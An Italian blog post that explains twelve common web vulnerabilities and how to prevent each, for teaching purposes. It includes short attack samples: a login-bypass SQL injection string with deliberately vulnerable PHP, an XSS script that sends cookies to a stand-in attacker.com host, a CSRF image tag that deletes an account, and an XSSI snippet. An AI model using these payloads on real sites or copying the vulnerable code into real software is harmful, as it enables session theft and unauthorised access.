Le principali vulnerabilità informatiche

Pubblicato da

  



Nel mondo della sicurezza informatica, esistono numerose vulnerabilità che possono compromettere l'integrità e la sicurezza di un sistema. 

In questo articolo esamineremo in dettaglio alcune delle più comuni e pericolose vulnerabilità, fornendo spiegazioni approfondite, esempi pratici e strategie per prevenirle. 

Infine, un sito molto utile da aggiungere ai preferiti!

🔗 Ti piace Techelopment? Dai un’occhiata al sito per tutti i dettagli!


1. SQL Injection (SQLi)

Descrizione: L'SQL Injection è un tipo di attacco che sfrutta le vulnerabilità nei sistemi di gestione dei database. Questo avviene quando un'applicazione web accetta input dell'utente senza sanitizzazione, consentendo a un attaccante di iniettare codice SQL malevolo. Se un'applicazione non valida correttamente l'input, un hacker potrebbe manipolare le query SQL per accedere a informazioni sensibili o persino modificare i dati.

Esempio pratico: Immaginiamo un modulo di login con il seguente codice in PHP:


$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM utenti WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);

Se un utente malintenzionato inserisce nel campo "username" il seguente input:

' OR '1'='1

La query risultante sarà:


SELECT * FROM utenti WHERE username = '' OR '1'='1' AND password = ''

Poiché '1'='1' è sempre vero, il sistema autenticherà l'attaccante senza che conosca le credenziali.

Prevenzione:

  • Utilizzare query parametrizzate e prepared statements per evitare l'inserimento diretto di input utente nelle query.

  • Validare l'input con filtri specifici, accettando solo dati conformi ai parametri attesi.

  • Limitare i privilegi dell'account database affinché un utente non possa eseguire query pericolose.

  • Utilizzare Web Application Firewalls (WAF) per rilevare e bloccare tentativi di SQL Injection.


2. Cross-Site Scripting (XSS)

Descrizione: Il Cross-Site Scripting (XSS) consente a un attaccante di iniettare script dannosi in pagine web visualizzate da altri utenti. Questo tipo di attacco sfrutta input non sanitizzati che vengono visualizzati nel browser della vittima, permettendo di rubare cookie, sessioni o eseguire altre azioni malevole.

Esempio pratico: Un campo di commento su un sito web permette agli utenti di inserire testo. Se l'applicazione non esegue correttamente la sanitizzazione dell'input, un attaccante potrebbe inserire:


<script>
    document.location='http://attacker.com/steal.php?cookie='+document.cookie
</script>

Se un altro utente visualizza il commento, lo script verrà eseguito e invierà i cookie della vittima all'attaccante, permettendogli di rubare la sessione.

Prevenzione:

  • Sanitizzare e validare tutti gli input utente prima di mostrarli sul sito. Una tecnica efficace è l'uso di escaping per convertire caratteri speciali in entità HTML, evitando l'esecuzione di codice dannoso. Ad esempio, in PHP si può usare htmlspecialchars($input, ENT_QUOTES, 'UTF-8') per trasformare <script> in &lt;script&gt;, impedendo così l'inserimento di codice eseguibile.

  • Utilizzare Content Security Policy (CSP) per limitare l'esecuzione di script non autorizzati.

  • Evitare l'uso di innerHTML e optare per metodi più sicuri come textContent in JavaScript.

  • Impostare HttpOnly e Secure nei cookie per evitare il furto tramite JavaScript.


3. Clickjacking

Descrizione: Il clickjacking è una tecnica che inganna gli utenti inducendoli a cliccare su elementi nascosti di una pagina web, come pulsanti invisibili sovrapposti su altri contenuti. Questo attacco può essere sfruttato per eseguire azioni indesiderate senza che l'utente se ne accorga.

Esempio pratico: Un sito dannoso potrebbe caricare il modulo di trasferimento di denaro di una banca all'interno di un iframe trasparente. L'utente, credendo di cliccare su un link innocuo, autorizza invece un pagamento fraudolento.

Prevenzione:

  • Utilizzare l'header X-Frame-Options: DENY per impedire il caricamento del sito in un iframe.

  • Implementare Content Security Policy (CSP) con la direttiva frame-ancestors per limitare l'embedding in altre pagine.

  • Richiedere conferme esplicite per azioni critiche come trasferimenti di denaro o modifiche alle impostazioni.


4. Cross-Site Request Forgery (CSRF)

Descrizione: Il CSRF obbliga un utente autenticato a eseguire azioni indesiderate su un sito web senza il suo consenso. Questo attacco sfrutta la fiducia del browser nelle sessioni attive.

Esempio pratico: Un attaccante invia un'email contenente il seguente codice:


<img src="https://example.com/account/delete?confirm=true">

Se l'utente è autenticato su example.com, la richiesta verrà eseguita, eliminando il suo account.

Prevenzione:

  • Utilizzare token CSRF nei form e nelle richieste HTTP POST.

  • Impostare l'header SameSite=Strict nei cookie per limitare l'invio automatico dei cookie tra siti diversi.

  • Richiedere autenticazione multi-fattore (MFA) per operazioni critiche.


5. Unencrypted Communication

Descrizione: Le comunicazioni non crittografate possono essere intercettate da attaccanti, permettendo il furto di credenziali e dati sensibili. Uno degli attacchi più comuni legati a questa vulnerabilità è il Man-in-the-Middle (MITM), in cui un attaccante si interpone tra due parti che comunicano, intercettando e potenzialmente alterando i dati trasmessi. Questo può avvenire, ad esempio, su reti Wi-Fi pubbliche non protette, dove un hacker può sniffare il traffico e rubare informazioni sensibili come password e dettagli bancari.

Esempio pratico: Un utente si connette a un Wi-Fi pubblico e inserisce le proprie credenziali in un sito HTTP. Un hacker sulla stessa rete può intercettare i dati usando Wireshark.

Prevenzione:

  • Utilizzare HTTPS con certificati SSL/TLS.

  • Disabilitare protocolli insicuri come TLS 1.0 e 1.1.

  • Utilizzare VPN per proteggere la connessione su reti pubbliche.


6. DNS Poisoning

Descrizione: Il DNS poisoning, noto anche come avvelenamento della cache DNS, è un attacco che altera le risoluzioni DNS per reindirizzare gli utenti verso siti malevoli senza che se ne accorgano. Questo attacco si basa sull'inserimento di dati fraudolenti nei server DNS, facendo in modo che un dominio legittimo punti a un indirizzo IP controllato dall'attaccante. Una volta che l'utente viene ingannato e visita il sito contraffatto, può essere vittima di phishing, furto di credenziali o infezione da malware. Il DNS poisoning può essere utilizzato anche per lanciare attacchi su larga scala, impedendo agli utenti di accedere a servizi critici e diffondendo disinformazione.

Esempio pratico: Un utente digita example.com, ma un DNS avvelenato lo reindirizza su un sito clone che ruba le credenziali.

Prevenzione:

  • Utilizzare DNSSEC per garantire l'integrità delle risposte DNS.

  • Monitorare le richieste DNS per individuare anomalie.

  • Utilizzare server DNS affidabili e aggiornati.


7. User Enumeration

Descrizione: L'User Enumeration è una vulnerabilità che consente agli attaccanti di determinare se un determinato nome utente esiste su un sistema. Questo può essere sfruttato per attacchi di brute force o phishing mirato.

Esempio pratico: Se un sito mostra messaggi di errore diversi per utenti esistenti e non, un attaccante può provare diversi nomi utente e determinare quali sono validi. Ad esempio in un form di login se l'username è sbagliato, il sistema non dovrebbe mostrare il messaggio "Username non valido" in quanto ciò aiuta l'attaccante a capire se un username esiste oppure no continuando a riprovare fino a quando il messaggio non comparirà più.

Prevenzione:

  • Utilizzare messaggi di errore generici.

  • Implementare rate limiting per tentativi di login falliti.

  • Usare CAPTCHA per prevenire attacchi automatizzati.


8. File Upload Vulnerabilities

Descrizione: Consentire agli utenti di caricare file senza controlli adeguati può permettere l'esecuzione di codice malevolo sul server.

Esempio pratico: Un attaccante carica un file .php con codice eseguibile che gli permette di ottenere accesso remoto al server.

Prevenzione:

  • Limitare i tipi di file consentiti.

  • Archiviare i file caricati in una directory separata senza permessi di esecuzione.

  • Usare nomi di file randomizzati per evitare attacchi basati su percorsi prevedibili.


9. Session Fixation

Descrizione: Questo attacco sfrutta il riutilizzo di sessioni esistenti per autenticarsi come un altro utente.

Esempio pratico: Un attaccante imposta manualmente un cookie di sessione per la vittima e la convince a usarlo. Quando la vittima effettua il login, l'attaccante può accedere alla sua sessione.

Prevenzione:

  • Rigenerare l'ID di sessione dopo il login.

  • Impostare la scadenza delle sessioni.

  • Usare cookie sicuri con HttpOnly e Secure.


10. Logging and Monitoring

Descrizione: Una gestione inadeguata dei log e del monitoraggio può portare alla divulgazione involontaria di informazioni sensibili, facilitando attacchi informatici. Se un'applicazione fornisce dettagli tecnici troppo specifici nei messaggi di errore o nei log pubblicamente accessibili, un attaccante potrebbe utilizzarli per individuare vulnerabilità nel sistema.

Esempio pratico: Un'applicazione restituisce il seguente errore quando un utente tenta di accedere a una risorsa protetta senza autorizzazione:


Errore 403: Access denied. Server Apache version 2.4.41 running on Ubuntu 20.04 does not allow the operation.

Questo messaggio rivela informazioni sui sistemi utilizzati, aiutando un attaccante a pianificare attacchi mirati.

Prevenzione:

  • Evitare messaggi di errore dettagliati all'utente finale.

  • Proteggere i file di log per evitare accessi non autorizzati.

  • Implementare un sistema di monitoraggio centralizzato per analizzare e rilevare tentativi di accesso anomali.

  • Impostare alert automatici per attività sospette come molteplici tentativi di login falliti.


11. Cross-Site Script Inclusion (XSSI)

Descrizione: Cross-Site Script Inclusion (XSSI) è una vulnerabilità che permette a un attaccante di rubare dati sensibili contenuti in file JavaScript serviti da un server. Questo attacco sfrutta il fatto che i browser eseguono qualsiasi script JavaScript incluso in una pagina senza restrizioni, rendendo possibile l'accesso a informazioni private se non vengono adottate misure di sicurezza adeguate.

Esempio pratico: Supponiamo che un'applicazione web esponga un file JavaScript contenente configurazioni sensibili:


// config.js
var apiKey = "1234567890abcdef";
var userRole = "admin";

Se un attaccante riesce a far includere questo script in una sua pagina malevola, può accedere alle variabili definite al suo interno:


<script src="https://example.com/config.js"></script>
<script>
  console.log(apiKey); // Attacker gets "1234567890abcdef"
  console.log(userRole); // Attacker gets "admin"
</script>

Prevenzione:

  • Non includere dati sensibili in file JavaScript pubblici.

  • Configurare correttamente gli header HTTP, come X-Content-Type-Options: nosniff, per evitare l'esecuzione di file JSON come JavaScript.

  • Utilizzare autenticazione e autorizzazione adeguate per limitare l'accesso ai dati sensibili.

  • Implementare il Same-Origin Policy (SOP) per impedire l'accesso non autorizzato agli script da altri domini.


12. Password Mismanagement

Descrizione: Una gestione inadeguata delle password può esporre gli utenti a violazioni di sicurezza. Questo include l'uso di password deboli, la memorizzazione non sicura delle credenziali e la mancata implementazione di politiche di scadenza delle password.

Esempio pratico: Un sistema salva le password in chiaro nel database:


INSERT INTO utenti (username, password) VALUES ('utente1', 'password123');

Se un hacker accede al database, può leggere le password senza alcuna protezione.

Prevenzione:

  • Forzare l'uso di password complesse con requisiti minimi di lunghezza e complessità.

  • Memorizzare le password in modo sicuro utilizzando algoritmi di hashing robusti come bcrypt o Argon2.

  • Implementare autenticazione multi-fattore (MFA) per ridurre il rischio di compromissione dell'account.

  • Evitare di inviare password in chiaro via email o archiviare credenziali in file di testo non crittografati.


Un sito utile per approfondire

Per comprendere meglio queste vulnerabilità e testarle in un ambiente sicuro, è possibile visitare il sito Hacksplaining. 

Questo sito offre una vasta gamma di lezioni interattive che illustrano in dettaglio le vulnerabilità più comuni, mostrando esempi concreti di exploit e fornendo esercizi pratici per sperimentare e imparare a mitigarle. 

Ogni lezione guida l'utente attraverso attacchi simulati, spiegando i principi alla base di ogni minaccia e fornendo consigli pratici per difendersi efficacemente. Grazie a questo approccio pratico, è possibile acquisire una comprensione approfondita delle vulnerabilità informatiche e delle migliori strategie di prevenzione.



Follow me #techelopment

Official site: www.techelopment.it
facebook: Techelopment
instagram: @techelopment
X: techelopment
Bluesky: @techelopment
telegram: @techelopment_channel
whatsapp: Techelopment
youtube: @techelopment